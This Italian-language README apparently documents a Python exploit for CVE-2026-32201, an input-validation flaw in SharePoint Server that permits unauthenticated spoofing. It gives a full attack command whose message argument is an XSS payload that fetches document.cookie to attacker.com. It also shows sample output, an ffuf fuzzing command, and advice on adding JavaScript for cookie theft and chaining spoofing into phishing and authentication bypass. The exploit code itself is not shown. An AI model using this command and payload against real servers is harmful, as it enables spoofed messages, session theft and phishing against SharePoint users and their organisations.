Panoramica

Exploit in Python per CVE-2026-32201 - validazione impropria dell'input in Microsoft SharePoint Server, che consente spoofing di rete non autenticato (C:L/I:L).

• Interessati: SharePoint Server 2016 Enterprise, 2019, Subscription Edition < 16.0.19725.20210;
• Vettore: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N;
• Impatto: Visualizzazione/modifica di dati sensibili tramite notifiche/documenti spoofati.

Funzionalità

1. Fingerprinting di SharePoint.
2. POST appositamente costruito per bypassare la validazione dell'input (sender_override).
3. Payload personalizzabile (mittente, destinatario, oggetto, messaggio con XSS).
4. Analisi della risposta per la verifica.

Utilizzo

1. Salvalo come exploit.py
2. Eseguilo per creare un file modello dannoso:

python3 exploit.py https://sharepoint.target.com \
  --recipient [email protected] \
  --sender "[email protected]" \
  --message "<script>fetch('http://attacker.com/?c='+document.cookie)</script>" \
  --endpoint /_layouts/15/notify.aspx

Esempio di output:

[+] SharePoint rilevato.
[*] Invio della richiesta spoofata a https://target.com/_layouts/15/notify.aspx
[+] Stato: 200
[+] Successo potenziale: controlla i log/le email del target per contenuti spoofati.

Personalizzazione

• Fuzzing degli endpoint: ffuf -u https://target.com/FUZZ -w sharepoint-layouts.txt
• Payload XSS: Aggiungi JS in --message per il furto di cookie
• Concatenazione: Spoofing → link di phishing → bypass dell'autenticazione

Verifica

• Indicatori di successo: 200 OK + "sent/success" nella risposta
• Lato server: controlla i log ULS/log IIS per richieste anomale
• Impatto: monitora email/documenti per mittente falsificato, testa la modifica dei dati